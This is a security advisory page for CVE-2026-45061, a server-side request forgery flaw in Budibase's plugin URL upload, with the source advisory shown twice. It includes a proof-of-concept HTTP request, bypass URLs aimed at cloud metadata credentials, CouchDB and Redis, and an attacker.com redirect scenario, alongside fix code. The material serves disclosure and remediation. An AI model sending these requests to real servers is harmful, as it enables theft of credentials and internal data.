CVE-2026-45061: Budibase Budibase Vulnerable To SSRF Vulnerability

HIGH
Advisory Identifier: GHSA-xh5j-727m-w6gg
CVSS 7.7
CWE-918
Published
Advisory Summary

CVE-2026-45061 is a HIGH (CVSS 7.7) budibase vulnerable to ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Budibase libraries in the npm ecosystem. The issue involves budibase vulnerable to ssrf via trivial `.tar.gz` substring bypass in plugin url upload (`/api/plugin`). Remediation is available by upgrading affected packages to version 3.35.10.

CVE-2026-45061 at a Glance

CVE Identifier CVE-2026-45061
GHSA Identifier GHSA-xh5j-727m-w6gg
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-45061

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

budibase fixed: 3.35.10
npm install budibase@3.35.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls budibase

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-45061, inspect your project dependencies using npm:

npm ls budibase

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.35.10), your application is affected.

Note: The npm ls budibase command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## 1. Summary | Field | Value | |-------|-------| | **Title** | SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload | | **Product** | Budibase (Self-Hosted) | | **Version** | ≤ 3.34.11 (latest stable as of 2026-03-30) | | **Component** | `packages/server/src/api/controllers/plugin/url.ts` | | **Vulnerability Type** | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs | | **Severity** | High (chained) / Medium (standalone) | | **CVSS 3.1 Score (chained)** | 7.7 — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` | | **CVSS 3.1 Score (standalone)** | 5.4 — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` | | **Attack Vector** | Network | | **Privileges Required** | Low (Global Builder role) | | **User Interaction** | None | | **Affected Deployments** | All Budibase instances with plugin loading enabled (default) | --- ## 2. Description The Plugin URL upload endpoint (`POST /api/plugin`) validates the submitted URL with a single substring check: `url.includes(".tar.gz")`. Any URL containing `.tar.gz` anywhere in the string — in the path, query string, or fragment — passes this check. The URL then proceeds directly to `fetchWithBlacklist()` with no further validation of host, scheme, or path. Standalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the `BLACKLIST_IPS` bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default `node-fetch` behavior with `redirect: 'follow'`). The developer team's own test suite (`objectStore.spec.ts:393`) tests that `downloadTarballDirect` passes through `fetchWithBlacklist` — confirming they're aware of the SSRF risk on this path. The `.tar.gz` substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is. --- ## 3. Root Cause Analysis ### 3.1 Trivial substring-based URL validation **File**: `packages/server/src/api/controllers/plugin/url.ts` ```typescript // Lines 7-19 export async function urlUpload(url: string, name = "", headers = {}) { if (!url.includes(".tar.gz")) { // ← ONLY validation: any URL with ".tar.gz" anywhere passes throw new Error("Plugin must be compressed into a gzipped tarball.") } const path = await downloadUnzipTarball(url, name, headers) // ↑ url is passed directly — no host allowlist, no scheme check, no path normalization try { return await getPluginMetadata(path) } catch (err) { deleteFolderFileSystem(path) throw err } } ``` **Problem**: `url.includes(".tar.gz")` checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that `.tar.gz` appears as an actual file extension at the end of the path. ### 3.2 Bypass examples | Attack URL | `includes(".tar.gz")` | Actual request target | |------------|----------------------|----------------------| | `http://169.254.169.254/.tar.gz` | ✅ passes | AWS IMDS | | `http://127.0.0.1:4005/_session.tar.gz` | ✅ passes | CouchDB | | `http://10.0.0.1:6379/.tar.gz` | ✅ passes | Redis | | `http://attacker.com/file.tar.gz?x=http://internal/` | ✅ passes | Redirect to internal | | `http://internal-host/.tar.gz#fragment` | ✅ passes | Internal service | ### 3.3 Developer awareness of SSRF risk on this path **File**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts` ```typescript // Line 393 it("uses fetchWithBlacklist in downloadTarballDirect", async () => { downloadTarballDirect("http://169.254.169.254/metadata/v1/", "tmp") // ← team explicitly tests that IMDS is blocked via blacklist }) ``` The team knows this code path can reach IMDS. They rely on `fetchWithBlacklist` as the defense — but never tested the `.tar.gz` substring bypass that trivially routes around it at the URL validation layer. ### 3.4 Authorization model | Operation | Endpoint | Required Permission | |-----------|----------|---------------------| | Plugin URL upload | `POST /api/plugin` | Global Builder | **Key insight**: The plugin endpoint is behind `globalBuilderRoutes`, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances. --- ## 4. Impact Analysis ### 4.1 Confidentiality — High (chained) / Low (standalone) When chained with [001] (`BLACKLIST_IPS` bypass): - **AWS/GCP/Azure IMDS** (`169.254.169.254`) — IAM credentials, service account tokens - **CouchDB** (`127.0.0.1:4005`) — application databases, user records - **Redis** (`127.0.0.1:6379`) — session tokens - **Internal network services** (`172.16.0.0/12`, `10.0.0.0/8`) Standalone (with default blacklist active): - **Open redirect chains** — if the plugin server follows redirects from external URLs to internal IPs, the blacklist check on the original URL does not protect against the redirected destination. This depends on `node-fetch` redirect behavior and whether `fetchWithBlacklist` re-checks the redirected URL. ### 4.2 Integrity — None (GET-only path) The plugin URL upload uses GET-only semantics via `fetchWithBlacklist`. No write operations to internal services via this path. ### 4.3 Availability — None No service disruption. ### 4.4 Scope Change (chained) Same as [001]: crosses application → infrastructure boundary when combined with the blacklist bypass. --- ## 5. Proof of Concept > **Verification status**: Code-level confirmed. End-to-end Docker test pending. > PoC files are ready: `poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py` + `docker-compose.yml` ### 5.1 Environment Setup ```bash # poc/004_plugin_url_ssrf/docker-compose.yml services: budibase: image: budibase/budibase:latest environment: SELF_HOSTED: "1" BLACKLIST_IPS: "" # ← enables chained SSRF (001) JWT_SECRET: "poc_jwt_secret" BB_ADMIN_USER_EMAIL: "poc@budibase.com" BB_ADMIN_USER_PASSWORD: "pocPassword123!" ports: ["10000:10000"] victim: image: python:3.11-alpine command: python -m http.server 8888 ``` ```bash cd poc/004_plugin_url_ssrf docker-compose up -d python3 poc_004_plugin_url_ssrf.py --target http://localhost:10000 ``` ### 5.2 Step 1 — Bypass the `.tar.gz` check with a crafted URL ```http POST /api/plugin HTTP/1.1 Host: localhost:10000 Cookie: budibase:auth=<builder-session-cookie> Content-Type: application/json { "source": "URL", "url": "http://victim:8888/.tar.gz", "name": "poc-test" } ``` The `url.includes(".tar.gz")` check passes because `.tar.gz` appears in the path. The URL `http://victim:8888/.tar.gz` is not a valid tarball — but the string check doesn't know that. ### 5.3 Step 2 — Expected response (SSRF confirmed) **With blacklist active (default config):** ```json { "message": "Failed to import plugin: URL is blocked or could not be resolved safely." } ``` **With `BLACKLIST_IPS=""` (chained with 001):** ```json { "message": "Failed to import plugin: incorrect header check" } ``` The `"incorrect header check"` error (zlib decompressor receiving HTTP response headers) proves the request reached `victim:8888`. The `.tar.gz` substring check was bypassed, and the HTTP fetch completed. ### 5.4 Additional bypass payloads tested (code-level only) | URL | Check bypass | Intended target | |-----|-------------|-----------------| | `http://169.254.169.254/.tar.gz` | ✅ | AWS IMDS | | `http://127.0.0.1:4005/_session.tar.gz` | ✅ | CouchDB | | `http://127.0.0.1:6379/.tar.gz` | ✅ | Redis | | `http://attacker.com/real.tar.gz` (redirects to `http://10.0.0.1/`) | ✅ | Internal via redirect | --- ## 6. Attack Scenarios ### Scenario A — Chained with [001]: AWS IMDS credential theft ``` 1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001) 2. Builder user sends: POST /api/plugin { "source": "URL", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz" } 3. Budibase fetches IMDS endpoint → receives IAM credentials JSON 4. zlib decompressor fails on non-gzip content → error response 5. Depending on logging config, credential material may appear in logs or error details ``` ### Scenario B — Standalone: Open redirect SSRF (default config) ``` 1. Attacker controls external server: GET /plugin.tar.gz → 302 → http://192.168.1.1/admin 2. Builder user submits: POST /api/plugin { "source": "URL", "url": "http://attacker.com/plugin.tar.gz" } 3. node-fetch follows redirect (default: redirect: 'follow') 4. If fetchWithBlacklist only checks the original URL (not the redirected URL), internal IP is reached 5. Requires verification of redirect handling in fetchWithBlacklist ``` ### Scenario C — CouchDB data access (chained) ``` 1. BLACKLIST_IPS="" enables internal access 2. URL: http://127.0.0.1:4005/_all_dbs.tar.gz 3. CouchDB responds with JSON list of databases 4. zlib error confirms HTTP request reached CouchDB ``` --- ## 7. Affected Code Paths ``` POST /api/plugin (Global Builder auth) │ ▼ packages/server/src/api/controllers/plugin/index.ts │ source === "URL" → urlUpload(url, name, headers) ▼ packages/server/src/api/controllers/plugin/url.ts:8 │ if (!url.includes(".tar.gz")) throw ← ONLY check — trivially bypassed │ → "http://169.254.169.254/.tar.gz" passes ▼ packages/server/src/utilities/fileSystem/plugins.ts │ downloadUnzipTarball(url, name, headers) ▼ packages/backend-core/src/objectStore/objectStore.ts:703 │ downloadTarballDirect(url, path, headers) ▼ packages/backend-core/src/objectStore/utils/outboundFetch.ts │ fetchWithBlacklist(url, options) │ isBlacklisted(hostname) │ ├─ [default config] → BlockList has 9 private ranges → 169.254.x BLOCKED ✓ │ └─ [BLACKLIST_IPS set, chained with 001] → empty BlockList → 169.254.x REACHABLE ✗ ``` --- ## 8. Recommended Fixes ### Fix 1 (High): Replace substring check with URL parsing and extension validation ```typescript // packages/server/src/api/controllers/plugin/url.ts import { URL } from "url" export async function urlUpload(url: string, name = "", headers = {}) { let parsed: URL try { parsed = new URL(url) } catch { throw new Error("Invalid plugin URL.") } // Only allow https:// scheme if (parsed.protocol !== "https:") { throw new Error("Plugin URL must use HTTPS.") } // Require the path to end with .tar.gz (not just contain it anywhere) if (!parsed.pathname.endsWith(".tar.gz")) { throw new Error("Plugin must be compressed into a gzipped tarball (.tar.gz).") } const path = await downloadUnzipTarball(url, name, headers) // ... } ``` ### Fix 2 (High): Re-check blacklist after redirect in `fetchWithBlacklist` ```typescript // packages/backend-core/src/objectStore/utils/outboundFetch.ts // Current: only checks the original URL before fetch // Fix: also intercept redirects and re-check each redirect target const response = await nodeFetch(url, { ...options, redirect: "manual", // don't auto-follow }) if (response.status >= 300 && response.status < 400) { const redirectUrl = response.headers.get("location") if (redirectUrl) { const redirectHost = new URL(redirectUrl).hostname if (await isBlacklisted(redirectHost)) { throw new Error("URL is blocked or could not be resolved safely.") } // recursively fetch (with depth limit) } } ``` ### Fix 3 (Medium): Add hostname allowlist option for plugin sources Provide a `PLUGIN_ALLOWED_HOSTS` variable that restricts plugin URL downloads to explicitly approved domains, rather than relying solely on a blocklist. --- ## 9. References - **CWE-918**: Server-Side Request Forgery (SSRF) — https://cwe.mitre.org/data/definitions/918.html - **CWE-184**: Incomplete List of Disallowed Inputs — https://cwe.mitre.org/data/definitions/184.html - **OWASP SSRF Prevention Cheat Sheet** — https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html - **Related finding**: [001] `BLACKLIST_IPS` bypass — `report/raw/001_ssrf_blacklist_bypass.md` - **Developer SSRF awareness test**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts:393`

CVE-2026-45061 Affected Budibase Versions

1 component(s)
Fixed Versions:
3.35.10
Product / Package Ecosystem Affected Versions Fixed Version
budibase
npm
< 3.35.10
3.35.10

References

Frequently Asked Questions

What is CVE-2026-45061?
CVE-2026-45061 is a security vulnerability in Budibase involving Budibase vulnerable to SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload (`/api/plugin`) under CWE-918: Server-Side Request Forgery (SSRF).
Which Budibase versions are affected?
Affected versions include releases prior to 3.35.10 across affected packages: budibase.
What version fixes CVE-2026-45061?
Upgrading to 3.35.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is budibase affected?
Yes, budibase is affected in releases prior to 3.35.10. Upgrade your dependency to 3.35.10 or later.
What is the CVSS score of CVE-2026-45061?
CVE-2026-45061 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-45061?
CVE-2026-45061 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-45061?
Run the dependency tree command: 'npm ls budibase'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xh5j-727m-w6gg",
  "modified" : "2026-06-08T20:15:24Z",
  "published" : "2026-05-11T16:20:27Z",
  "aliases" : [ "CVE-2026-45061" ],
  "summary" : "Budibase vulnerable to SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload (`/api/plugin`)",
  "details" : "## 1. Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload |\n| **Product** | Budibase (Self-Hosted) |\n| **Version** | ≤ 3.34.11 (latest stable as of 2026-03-30) |\n| **Component** | `packages/server/src/api/controllers/plugin/url.ts` |\n| **Vulnerability Type** | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs |\n| **Severity** | High (chained) / Medium (standalone) |\n| **CVSS 3.1 Score (chained)** | 7.7 — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` |\n| **CVSS 3.1 Score (standalone)** | 5.4 — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` |\n| **Attack Vector** | Network |\n| **Privileges Required** | Low (Global Builder role) |\n| **User Interaction** | None |\n| **Affected Deployments** | All Budibase instances with plugin loading enabled (default) |\n\n---\n\n## 2. Description\n\nThe Plugin URL upload endpoint (`POST /api/plugin`) validates the submitted URL with a single substring check: `url.includes(\".tar.gz\")`. Any URL containing `.tar.gz` anywhere in the string — in the path, query string, or fragment — passes this check. The URL then proceeds directly to `fetchWithBlacklist()` with no further validation of host, scheme, or path.\n\nStandalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the `BLACKLIST_IPS` bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default `node-fetch` behavior with `redirect: 'follow'`).\n\nThe developer team's own test suite (`objectStore.spec.ts:393`) tests that `downloadTarballDirect` passes through `fetchWithBlacklist` — confirming they're aware of the SSRF risk on this path. The `.tar.gz` substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is.\n\n---\n\n## 3. Root Cause Analysis\n\n### 3.1 Trivial substring-based URL validation\n\n**File**: `packages/server/src/api/controllers/plugin/url.ts`\n\n```typescript\n// Lines 7-19\nexport async function urlUpload(url: string, name = \"\", headers = {}) {\n  if (!url.includes(\".tar.gz\")) {\n    // ← ONLY validation: any URL with \".tar.gz\" anywhere passes\n    throw new Error(\"Plugin must be compressed into a gzipped tarball.\")\n  }\n\n  const path = await downloadUnzipTarball(url, name, headers)\n  // ↑ url is passed directly — no host allowlist, no scheme check, no path normalization\n  try {\n    return await getPluginMetadata(path)\n  } catch (err) {\n    deleteFolderFileSystem(path)\n    throw err\n  }\n}\n```\n\n**Problem**: `url.includes(\".tar.gz\")` checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that `.tar.gz` appears as an actual file extension at the end of the path.\n\n### 3.2 Bypass examples\n\n| Attack URL | `includes(\".tar.gz\")` | Actual request target |\n|------------|----------------------|----------------------|\n| `http://169.254.169.254/.tar.gz` | ✅ passes | AWS IMDS |\n| `http://127.0.0.1:4005/_session.tar.gz` | ✅ passes | CouchDB |\n| `http://10.0.0.1:6379/.tar.gz` | ✅ passes | Redis |\n| `http://attacker.com/file.tar.gz?x=http://internal/` | ✅ passes | Redirect to internal |\n| `http://internal-host/.tar.gz#fragment` | ✅ passes | Internal service |\n\n### 3.3 Developer awareness of SSRF risk on this path\n\n**File**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts`\n\n```typescript\n// Line 393\nit(\"uses fetchWithBlacklist in downloadTarballDirect\", async () => {\n  downloadTarballDirect(\"http://169.254.169.254/metadata/v1/\", \"tmp\")\n  // ← team explicitly tests that IMDS is blocked via blacklist\n})\n```\n\nThe team knows this code path can reach IMDS. They rely on `fetchWithBlacklist` as the defense — but never tested the `.tar.gz` substring bypass that trivially routes around it at the URL validation layer.\n\n### 3.4 Authorization model\n\n| Operation | Endpoint | Required Permission |\n|-----------|----------|---------------------|\n| Plugin URL upload | `POST /api/plugin` | Global Builder |\n\n**Key insight**: The plugin endpoint is behind `globalBuilderRoutes`, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances.\n\n---\n\n## 4. Impact Analysis\n\n### 4.1 Confidentiality — High (chained) / Low (standalone)\n\nWhen chained with [001] (`BLACKLIST_IPS` bypass):\n- **AWS/GCP/Azure IMDS** (`169.254.169.254`) — IAM credentials, service account tokens\n- **CouchDB** (`127.0.0.1:4005`) — application databases, user records\n- **Redis** (`127.0.0.1:6379`) — session tokens\n- **Internal network services** (`172.16.0.0/12`, `10.0.0.0/8`)\n\nStandalone (with default blacklist active):\n- **Open redirect chains** — if the plugin server follows redirects from external URLs to internal IPs, the blacklist check on the original URL does not protect against the redirected destination. This depends on `node-fetch` redirect behavior and whether `fetchWithBlacklist` re-checks the redirected URL.\n\n### 4.2 Integrity — None (GET-only path)\n\nThe plugin URL upload uses GET-only semantics via `fetchWithBlacklist`. No write operations to internal services via this path.\n\n### 4.3 Availability — None\n\nNo service disruption.\n\n### 4.4 Scope Change (chained)\n\nSame as [001]: crosses application → infrastructure boundary when combined with the blacklist bypass.\n\n---\n\n## 5. Proof of Concept\n\n> **Verification status**: Code-level confirmed. End-to-end Docker test pending.\n> PoC files are ready: `poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py` + `docker-compose.yml`\n\n### 5.1 Environment Setup\n\n```bash\n# poc/004_plugin_url_ssrf/docker-compose.yml\nservices:\n  budibase:\n    image: budibase/budibase:latest\n    environment:\n      SELF_HOSTED: \"1\"\n      BLACKLIST_IPS: \"\"          # ← enables chained SSRF (001)\n      JWT_SECRET: \"poc_jwt_secret\"\n      BB_ADMIN_USER_EMAIL: \"poc@budibase.com\"\n      BB_ADMIN_USER_PASSWORD: \"pocPassword123!\"\n    ports: [\"10000:10000\"]\n\n  victim:\n    image: python:3.11-alpine\n    command: python -m http.server 8888\n```\n\n```bash\ncd poc/004_plugin_url_ssrf\ndocker-compose up -d\npython3 poc_004_plugin_url_ssrf.py --target http://localhost:10000\n```\n\n### 5.2 Step 1 — Bypass the `.tar.gz` check with a crafted URL\n\n```http\nPOST /api/plugin HTTP/1.1\nHost: localhost:10000\nCookie: budibase:auth=<builder-session-cookie>\nContent-Type: application/json\n\n{\n  \"source\": \"URL\",\n  \"url\": \"http://victim:8888/.tar.gz\",\n  \"name\": \"poc-test\"\n}\n```\n\nThe `url.includes(\".tar.gz\")` check passes because `.tar.gz` appears in the path. The URL `http://victim:8888/.tar.gz` is not a valid tarball — but the string check doesn't know that.\n\n### 5.3 Step 2 — Expected response (SSRF confirmed)\n\n**With blacklist active (default config):**\n```json\n{ \"message\": \"Failed to import plugin: URL is blocked or could not be resolved safely.\" }\n```\n\n**With `BLACKLIST_IPS=\"\"` (chained with 001):**\n```json\n{ \"message\": \"Failed to import plugin: incorrect header check\" }\n```\n\nThe `\"incorrect header check\"` error (zlib decompressor receiving HTTP response headers) proves the request reached `victim:8888`. The `.tar.gz` substring check was bypassed, and the HTTP fetch completed.\n\n### 5.4 Additional bypass payloads tested (code-level only)\n\n| URL | Check bypass | Intended target |\n|-----|-------------|-----------------|\n| `http://169.254.169.254/.tar.gz` | ✅ | AWS IMDS |\n| `http://127.0.0.1:4005/_session.tar.gz` | ✅ | CouchDB |\n| `http://127.0.0.1:6379/.tar.gz` | ✅ | Redis |\n| `http://attacker.com/real.tar.gz` (redirects to `http://10.0.0.1/`) | ✅ | Internal via redirect |\n\n---\n\n## 6. Attack Scenarios\n\n### Scenario A — Chained with [001]: AWS IMDS credential theft\n\n```\n1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001)\n2. Builder user sends:\n   POST /api/plugin { \"source\": \"URL\", \"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz\" }\n3. Budibase fetches IMDS endpoint → receives IAM credentials JSON\n4. zlib decompressor fails on non-gzip content → error response\n5. Depending on logging config, credential material may appear in logs or error details\n```\n\n### Scenario B — Standalone: Open redirect SSRF (default config)\n\n```\n1. Attacker controls external server: GET /plugin.tar.gz → 302 → http://192.168.1.1/admin\n2. Builder user submits: POST /api/plugin { \"source\": \"URL\", \"url\": \"http://attacker.com/plugin.tar.gz\" }\n3. node-fetch follows redirect (default: redirect: 'follow')\n4. If fetchWithBlacklist only checks the original URL (not the redirected URL), internal IP is reached\n5. Requires verification of redirect handling in fetchWithBlacklist\n```\n\n### Scenario C — CouchDB data access (chained)\n\n```\n1. BLACKLIST_IPS=\"\" enables internal access\n2. URL: http://127.0.0.1:4005/_all_dbs.tar.gz\n3. CouchDB responds with JSON list of databases\n4. zlib error confirms HTTP request reached CouchDB\n```\n\n---\n\n## 7. Affected Code Paths\n\n```\nPOST /api/plugin  (Global Builder auth)\n    │\n    ▼\npackages/server/src/api/controllers/plugin/index.ts\n    │  source === \"URL\" → urlUpload(url, name, headers)\n    ▼\npackages/server/src/api/controllers/plugin/url.ts:8\n    │  if (!url.includes(\".tar.gz\")) throw   ← ONLY check — trivially bypassed\n    │  → \"http://169.254.169.254/.tar.gz\" passes\n    ▼\npackages/server/src/utilities/fileSystem/plugins.ts\n    │  downloadUnzipTarball(url, name, headers)\n    ▼\npackages/backend-core/src/objectStore/objectStore.ts:703\n    │  downloadTarballDirect(url, path, headers)\n    ▼\npackages/backend-core/src/objectStore/utils/outboundFetch.ts\n    │  fetchWithBlacklist(url, options)\n    │  isBlacklisted(hostname)\n    │\n    ├─ [default config] → BlockList has 9 private ranges → 169.254.x BLOCKED ✓\n    │\n    └─ [BLACKLIST_IPS set, chained with 001] → empty BlockList → 169.254.x REACHABLE ✗\n```\n\n---\n\n## 8. Recommended Fixes\n\n### Fix 1 (High): Replace substring check with URL parsing and extension validation\n\n```typescript\n// packages/server/src/api/controllers/plugin/url.ts\n\nimport { URL } from \"url\"\n\nexport async function urlUpload(url: string, name = \"\", headers = {}) {\n  let parsed: URL\n  try {\n    parsed = new URL(url)\n  } catch {\n    throw new Error(\"Invalid plugin URL.\")\n  }\n\n  // Only allow https:// scheme\n  if (parsed.protocol !== \"https:\") {\n    throw new Error(\"Plugin URL must use HTTPS.\")\n  }\n\n  // Require the path to end with .tar.gz (not just contain it anywhere)\n  if (!parsed.pathname.endsWith(\".tar.gz\")) {\n    throw new Error(\"Plugin must be compressed into a gzipped tarball (.tar.gz).\")\n  }\n\n  const path = await downloadUnzipTarball(url, name, headers)\n  // ...\n}\n```\n\n### Fix 2 (High): Re-check blacklist after redirect in `fetchWithBlacklist`\n\n```typescript\n// packages/backend-core/src/objectStore/utils/outboundFetch.ts\n\n// Current: only checks the original URL before fetch\n// Fix: also intercept redirects and re-check each redirect target\n\nconst response = await nodeFetch(url, {\n  ...options,\n  redirect: \"manual\",  // don't auto-follow\n})\n\nif (response.status >= 300 && response.status < 400) {\n  const redirectUrl = response.headers.get(\"location\")\n  if (redirectUrl) {\n    const redirectHost = new URL(redirectUrl).hostname\n    if (await isBlacklisted(redirectHost)) {\n      throw new Error(\"URL is blocked or could not be resolved safely.\")\n    }\n    // recursively fetch (with depth limit)\n  }\n}\n```\n\n### Fix 3 (Medium): Add hostname allowlist option for plugin sources\n\nProvide a `PLUGIN_ALLOWED_HOSTS` variable that restricts plugin URL downloads to explicitly approved domains, rather than relying solely on a blocklist.\n\n---\n\n## 9. References\n\n- **CWE-918**: Server-Side Request Forgery (SSRF) — https://cwe.mitre.org/data/definitions/918.html\n- **CWE-184**: Incomplete List of Disallowed Inputs — https://cwe.mitre.org/data/definitions/184.html\n- **OWASP SSRF Prevention Cheat Sheet** — https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html\n- **Related finding**: [001] `BLACKLIST_IPS` bypass — `report/raw/001_ssrf_blacklist_bypass.md`\n- **Developer SSRF awareness test**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts:393`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "budibase"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.35.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.34.11"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-xh5j-727m-w6gg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45061"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T16:20:27Z",
    "nvd_published_at" : "2026-05-27T18:16:24Z"
  }
}